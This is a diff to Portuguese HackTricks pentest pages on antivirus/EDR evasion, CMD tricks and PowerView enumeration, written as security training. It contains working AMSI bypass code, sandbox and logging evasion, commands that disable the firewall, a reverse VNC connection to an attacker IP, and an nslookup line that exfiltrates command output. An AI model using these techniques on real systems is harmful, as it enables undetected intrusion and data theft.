-Acontece que o nome do computador do Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador em seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro do sandbox do Defender, então você pode fazer seu programa sair.
+Acontece que o nome do computador do Sandbox do Microsoft Defender é HAL9TH, então, você pode verificar o nome do computador no seu malware antes da detonação, se o nome corresponder a HAL9TH, significa que você está dentro do sandbox do defender, então você pode fazer seu programa sair.
 
 <figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 
-Algumas outras dicas realmente boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
+Algumas outras dicas realmente boas do [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
 
 <figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
 
 Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então, você deve se perguntar algo:
 
-Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
+Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mimikatz**? Ou poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
 
-A resposta certa é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das, se não a mais sinalizada peça de malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
+A resposta certa é provavelmente a última. Tomando o mimikatz como exemplo, é provavelmente uma das, se não a mais sinalizada peça de malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
 
 > [!NOTE]
-> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até ficar satisfeito com o resultado.
+> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até que você esteja satisfeito com o resultado.
 
 ## EXEs vs DLLs
 
@@ -60,7 +60,7 @@ Sempre que possível, sempre **priorize o uso de DLLs para evasão**, na minha e
 
 Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
 
-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação do antiscan.me de um payload EXE normal do Havoc vs um normal Havoc DLL</p></figcaption></figure>
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação do antiscan.me de um payload EXE normal do Havoc vs um DLL normal do Havoc</p></figcaption></figure>
 
 Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.
 
@@ -69,7 +69,7 @@ Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser
 **Carregamento de DLL** aproveita a ordem de busca de DLL usada pelo carregador, posicionando tanto o aplicativo da vítima quanto o(s) payload(s) malicioso(s) lado a lado.
 
 Você pode verificar programas suscetíveis ao Carregamento de DLL usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte script do powershell:
-```powershell
+```bash
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
 $binarytoCheck = "C:\Program Files\" + $_
 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
@@ -109,7 +109,7 @@ Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) qu
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
 
-`Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, chamadas de sistema diretas e métodos de execução alternativos`
+`Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, syscalls diretas e métodos de execução alternativos`
 
 Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.
 ```
@@ -141,32 +141,34 @@ Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
 
 <figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 
-Note como ele adiciona `amsi:` e, em seguida, o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe
+Note como ele adiciona `amsi:` e então o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe
 
 Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
 
+Além disso, a partir do **.NET 4.8**, o código C# também é executado através do AMSI. Isso até afeta `Assembly.Load(byte[])` para execução na memória. É por isso que usar versões mais baixas do .NET (como 4.7.2 ou inferior) é recomendado para execução na memória se você quiser evadir o AMSI.
+
 Existem algumas maneiras de contornar o AMSI:
 
 - **Ofuscação**
 
-Como o AMSI funciona principalmente com detecções estáticas, portanto, modificar os scripts que você tenta carregar pode ser uma boa maneira de evitar a detecção.
+Como o AMSI funciona principalmente com detecções estáticas, portanto, modificar os scripts que você tenta carregar pode ser uma boa maneira de evadir a detecção.
 
 No entanto, o AMSI tem a capacidade de desofuscar scripts mesmo que tenha várias camadas, então a ofuscação pode ser uma má opção dependendo de como é feita. Isso torna não tão simples a evasão. Embora, às vezes, tudo o que você precisa fazer é mudar alguns nomes de variáveis e você estará bem, então depende de quanto algo foi sinalizado.
 
-- **Bypass do AMSI**
+- **Evasão do AMSI**
 
-Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo executando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, os pesquisadores encontraram várias maneiras de evitar a varredura do AMSI.
+Como o AMSI é implementado carregando uma DLL no processo do powershell (também cscript.exe, wscript.exe, etc.), é possível manipulá-lo facilmente mesmo executando como um usuário não privilegiado. Devido a essa falha na implementação do AMSI, pesquisadores encontraram várias maneiras de evadir a varredura do AMSI.
 
 **Forçando um Erro**
 
-Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em que nenhuma varredura será iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir um uso mais amplo.
-```powershell
+Forçar a inicialização do AMSI a falhar (amsiInitFailed) resultará em que nenhuma varredura será iniciada para o processo atual. Originalmente, isso foi divulgado por [Matt Graeber](https://twitter.com/mattifestation) e a Microsoft desenvolveu uma assinatura para prevenir o uso mais amplo.
+```bash
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
 Bastou uma linha de código PowerShell para tornar o AMSI inutilizável para o processo PowerShell atual. Esta linha, é claro, foi sinalizada pelo próprio AMSI, então algumas modificações são necessárias para usar esta técnica.
 
 Aqui está um bypass de AMSI modificado que eu peguei deste [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
-```powershell
+```bash
 Try{#Ams1 bypass technic nº 2
 $Xdatabase = 'Utils';$Homedrive = 'si'
 $ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
@@ -179,30 +181,57 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
 $Spotfix.SetValue($null,$true)
 }Catch{Throw $_}
 ```
-Tenha em mente que isso provavelmente será sinalizado assim que esta postagem for publicada, então você não deve publicar nenhum código se seu plano é permanecer indetectável.
+Mantenha em mente que isso provavelmente será sinalizado assim que esta postagem for publicada, então você não deve publicar nenhum código se seu plano é permanecer indetectável.
 
 **Memory Patching**
 
-Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-lo com instruções para retornar o código E_INVALIDARG, dessa forma, o resultado da varredura real retornará 0, que é interpretado como um resultado limpo.
+Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" no amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-lo com instruções para retornar o código para E_INVALIDARG, dessa forma, o resultado da varredura real retornará 0, que é interpretado como um resultado limpo.
 
 > [!NOTE]
 > Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
 
-Existem também muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [este repositório](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender mais sobre elas.
+Existem também muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**este repositório**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender mais sobre elas.
 
-Ou este script que, via memory patching, irá patchar cada novo Powersh
+Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera scripts para contornar o AMSI.
+
+**Remover a assinatura detectada**
+
+Você pode usar uma ferramenta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** e **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para remover a assinatura AMSI detectada da memória do processo atual. Esta ferramenta funciona escaneando a memória do processo atual em busca da assinatura AMSI e, em seguida, sobrescrevendo-a com instruções NOP, efetivamente removendo-a da memória.
+
+**Produtos AV/EDR que usam AMSI**
+
+Você pode encontrar uma lista de produtos AV/EDR que usam AMSI em **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
+
+**Use a versão 2 do PowerShell**
+Se você usar a versão 2 do PowerShell, o AMSI não será carregado, então você pode executar seus scripts sem ser escaneado pelo AMSI. Você pode fazer isso:
+```bash
+powershell.exe -version 2
+```
+## PS Logging
+
+O registro do PowerShell é um recurso que permite registrar todos os comandos do PowerShell executados em um sistema. Isso pode ser útil para fins de auditoria e solução de problemas, mas também pode ser um **problema para atacantes que desejam evitar a detecção**.
+
+Para contornar o registro do PowerShell, você pode usar as seguintes técnicas:
+
+- **Desativar a Transcrição do PowerShell e o Registro de Módulos**: Você pode usar uma ferramenta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para esse propósito.
+- **Usar a versão 2 do PowerShell**: Se você usar a versão 2 do PowerShell, o AMSI não será carregado, então você pode executar seus scripts sem ser escaneado pelo AMSI. Você pode fazer isso: `powershell.exe -version 2`
+- **Usar uma Sessão do PowerShell Não Gerenciada**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para iniciar um PowerShell sem defesas (isso é o que o `powerpick` do Cobalt Strike usa).
 
 ## Obfuscation
 
-Existem várias ferramentas que podem ser usadas para **ofuscar código C# em texto claro**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
+> [!NOTE]
+> Várias técnicas de ofuscação dependem da criptografia de dados, o que aumentará a entropia do binário, tornando mais fácil para AVs e EDRs detectá-lo. Tenha cuidado com isso e talvez aplique criptografia apenas a seções específicas do seu código que são sensíveis ou precisam ser ocultadas.
 
-- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador C#**
-- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto da suíte de compilação [LLVM](http://www.llvm.org/) capaz de fornecer maior segurança de software através da [ofuscação de código](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e proteção contra adulteração.
+Existem várias ferramentas que podem ser usadas para **ofuscar código em texto claro C#**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
+
+- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): É um ótimo ofuscador de código aberto para aplicações .NET. Ele fornece várias técnicas de proteção, como ofuscação de fluxo de controle, anti-debugging, anti-tampering e criptografia de strings. É recomendado porque permite até ofuscar partes específicas do código.
+- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Ofuscador C#**
+- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): O objetivo deste projeto é fornecer um fork de código aberto da suíte de compilação [LLVM](http://www.llvm.org/) capaz de fornecer maior segurança de software por meio de [ofuscação de código](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) e proteção contra adulteração.
 - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstra como usar a linguagem `C++11/14` para gerar, em tempo de compilação, código ofuscado sem usar nenhuma ferramenta externa e sem modificar o compilador.
-- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
+- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja crackear a aplicação um pouco mais difícil.
 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
 - [**metame**](https://github.com/a0rtega/metame): Metame é um simples motor de código metamórfico para executáveis arbitrários.
-- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
+- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem, transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
 - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim.
 - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los.
 
@@ -216,7 +245,7 @@ O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a prote
 
 O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar assim mesmo).
 
-**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
+**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome de Zone.Identifier, que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
 
 <figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>
 
@@ -230,7 +259,7 @@ Uma maneira muito eficaz de evitar que seus payloads recebam o Mark of The Web
 [**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) é uma ferramenta que empacota payloads em contêineres de saída para evitar o Mark-of-the-Web.
 
 Exemplo de uso:
-```powershell
+```bash
 PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso
 
 +      o     +              o   +      o     +              o
@@ -255,30 +284,38 @@ Aqui está uma demonstração para contornar o SmartScreen empacotando cargas ú
 
 <figure><img src="../images/packmypayload_demo.gif" alt=""><figcaption></figcaption></figure>
 
-## Reflexão de Assembly C#
+## ETW
+
+Event Tracing for Windows (ETW) é um poderoso mecanismo de registro no Windows que permite que aplicativos e componentes do sistema **registrem eventos**. No entanto, também pode ser usado por produtos de segurança para monitorar e detectar atividades maliciosas.
+
+Semelhante a como o AMSI é desativado (contornado), também é possível fazer com que a função **`EtwEventWrite`** do processo de espaço do usuário retorne imediatamente sem registrar nenhum evento. Isso é feito patchando a função na memória para retornar imediatamente, efetivamente desativando o registro ETW para esse processo.
+
+Você pode encontrar mais informações em **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) e [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**.
+
+## C# Assembly Reflection
 
 Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser pego pelo AV.
 
-Como a carga útil será carregada diretamente na memória sem tocar no disco, só teremos que nos preocupar em corrigir o AMSI para todo o processo.
+Como a carga útil será carregada diretamente na memória sem tocar no disco, teremos que nos preocupar apenas em patchar o AMSI para todo o processo.
 
-A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já oferece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
+A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
 
 - **Fork\&Run**
 
-Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
+Envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que, se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
 
 <figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 
 - **Inline**
 
-Trata-se de injetar o código malicioso de pós-exploração **no seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que se algo der errado com a execução da sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
+Trata-se de injetar o código malicioso de pós-exploração **em seu próprio processo**. Dessa forma, você pode evitar ter que criar um novo processo e fazê-lo ser escaneado pelo AV, mas a desvantagem é que, se algo der errado com a execução de sua carga útil, há uma **chance muito maior** de **perder seu beacon**, pois ele pode travar.
 
 <figure><img src="../images/image (1136).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
 > Se você quiser ler mais sobre o carregamento de Assembly C#, consulte este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e seu BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
 
-Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e o vídeo de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
+Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e [o vídeo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
 
 ## Usando Outras Linguagens de Programação
 
@@ -286,15 +323,25 @@ Como proposto em [**https://github.com/deeexcee-io/LOI-Bins**](https://github.co
 
 Ao permitir acesso aos Binários do Interpretador e ao ambiente no compartilhamento SMB, você pode **executar código arbitrário nessas linguagens dentro da memória** da máquina comprometida.
 
-O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso não ofuscados aleatórios nessas linguagens mostraram-se bem-sucedidos.
+O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go, Java, PHP, etc., temos **mais flexibilidade para contornar assinaturas estáticas**. Testes com scripts de shell reverso aleatórios não ofuscados nessas linguagens foram bem-sucedidos.
+
+## TokenStomping
+
+Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo que eles reduzam seus privilégios para que o processo não morra, mas não tenha permissões para verificar atividades maliciosas.
+
+Para prevenir isso, o Windows poderia **impedir processos externos** de obter handles sobre os tokens de processos de segurança.
+
+- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
+- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
+- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF)
 
 ## Evasão Avançada
 
-Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
+Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
 
 Cada ambiente que você enfrenta terá seus próprios pontos fortes e fracos.
 
-Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para ter uma base em técnicas de Evasão Avançada.
+Eu recomendo fortemente que você assista a esta palestra de [@ATTL4S](https://twitter.com/DaniLJ94), para ter uma noção de técnicas de Evasão Avançada.
 
 {{#ref}}
 https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
@@ -310,8 +357,8 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
 
 ### **Verifique quais partes o Defender considera maliciosas**
 
-Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até **descobrir qual parte o Defender** está considerando maliciosa e dividirá para você.\
-Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um serviço web aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
+Você pode usar [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) que **removerá partes do binário** até descobrir **qual parte o Defender** está considerando maliciosa e dividirá para você.\
+Outra ferramenta que faz **a mesma coisa é** [**avred**](https://github.com/dobin/avred) com um site aberto oferecendo o serviço em [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
 
 ### **Servidor Telnet**
 
@@ -323,14 +370,14 @@ Faça com que **inicie** quando o sistema for iniciado e **execute** agora:
 ```bash
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Mudar a porta telnet** (stealth) e desativar o firewall:
+**Mudar a porta do telnet** (stealth) e desativar o firewall:
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC
 
-Baixe-o de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads binários, não a instalação)
+Baixe-o em: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (você quer os downloads binários, não a instalação)
 
 **NO HOST**: Execute _**winvnc.exe**_ e configure o servidor:
 
@@ -342,7 +389,7 @@ Em seguida, mova o binário _**winvnc.exe**_ e o arquivo **recém** criado _**Ul
 
 #### **Conexão reversa**
 
-O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC reversa**. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
+O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.exe -listen 5900` para que esteja **preparado** para capturar uma **conexão VNC** reversa. Então, dentro da **vítima**: Inicie o daemon winvnc `winvnc.exe -run` e execute `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
 
 **AVISO:** Para manter a furtividade, você não deve fazer algumas coisas
 
@@ -352,7 +399,7 @@ O **atacante** deve **executar dentro** de seu **host** o binário `vncviewer.ex
 
 ### GreatSCT
 
-Baixe-o de: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
+Baixe-o em: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 ```
 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/setup/
@@ -374,7 +421,7 @@ Agora **inicie o lister** com `msfconsole -r file.rc` e **execute** o **payload
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
-**O atual defensor encerrará o processo muito rapidamente.**
+**O defensor atual encerrará o processo muito rapidamente.**
 
 ### Compilando nosso próprio reverse shell
 
@@ -498,7 +545,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
 - [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
 - [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
 
-### Usando python para exemplo de construtores de injetores:
+### Usando python para construir exemplos de injetores:
 
 - [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
 
@@ -529,6 +576,6 @@ https://github.com/praetorian-code/vulcan
 ```
 ### Mais
 
-- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
+- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/basic-cmd-for-pentesters.md

@@ -107,7 +107,7 @@ nltest /domain_trusts #Mapping of the trust relationships
 # Get all objects inside an OU
 dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
 ```
-### Logs e Eventos
+### Logs & Events
 ```bash
 #Make a security query using another credentials
 wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
@@ -154,7 +154,7 @@ net group /domain <domain_group_name> #Users that belongs to the group
 qwinsta
 klist sessions
 ```
-### Política de Senhas
+### Política de Senha
 ```
 net accounts
 ```
@@ -315,7 +315,7 @@ who^ami   #whoami
 ### DOSfuscation
 
 Gera uma linha CMD ofuscada
-```powershell
+```bash
 git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
 cd Invoke-DOSfuscation
 Import-Module .\Invoke-DOSfuscation.psd1
@@ -324,7 +324,7 @@ help
 SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
 encoding
 ```
-### Endereços de escuta ACLs
+### Listas de Controle de Acesso de Endereço de Escuta
 
 Você pode escutar em [http://+:80/Temporary_Listen_Addresses/](http://+/Temporary_Listen_Addresses/) sem ser administrador.
 ```bash
@@ -354,7 +354,7 @@ Você também pode **redirecionar** a saída e, em seguida, **ler**.
 whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
 for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
 ```
-## Chamando CMD a partir de código C
+## Chamando CMD a partir do código C
 ```c
 #include <stdlib.h>     /* system, NULL, EXIT_FAILURE */
 

src/windows-hardening/basic-powershell-for-pentesters/powerview.md

@@ -7,7 +7,7 @@ A versão mais atualizada do PowerView estará sempre no branch dev do PowerSplo
 [**SharpView**](https://github.com/tevora-threat/SharpView) é uma porta .NET do [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
 
 ### Enumeração rápida
-```powershell
+```bash
 Get-NetDomain #Basic domain info
 #User info
 Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount #Basic user enabled info
@@ -38,7 +38,7 @@ Invoke-UserHunter -CheckAccess
 Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
 ```
 ### Informações do domínio
-```powershell
+```bash
 # Domain Info
 Get-Domain #Get info about the current domain
 Get-NetDomain #Get info about the current domain
@@ -61,7 +61,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
 Get-ForestDomain
 ```
 ### Usuários, Grupos, Computadores e OUs
-```powershell
+```bash
 # Users
 ## Get usernames and their groups
 Get-DomainUser -Properties name, MemberOf | fl
@@ -127,7 +127,7 @@ Get-NetOU #Get Organization Units
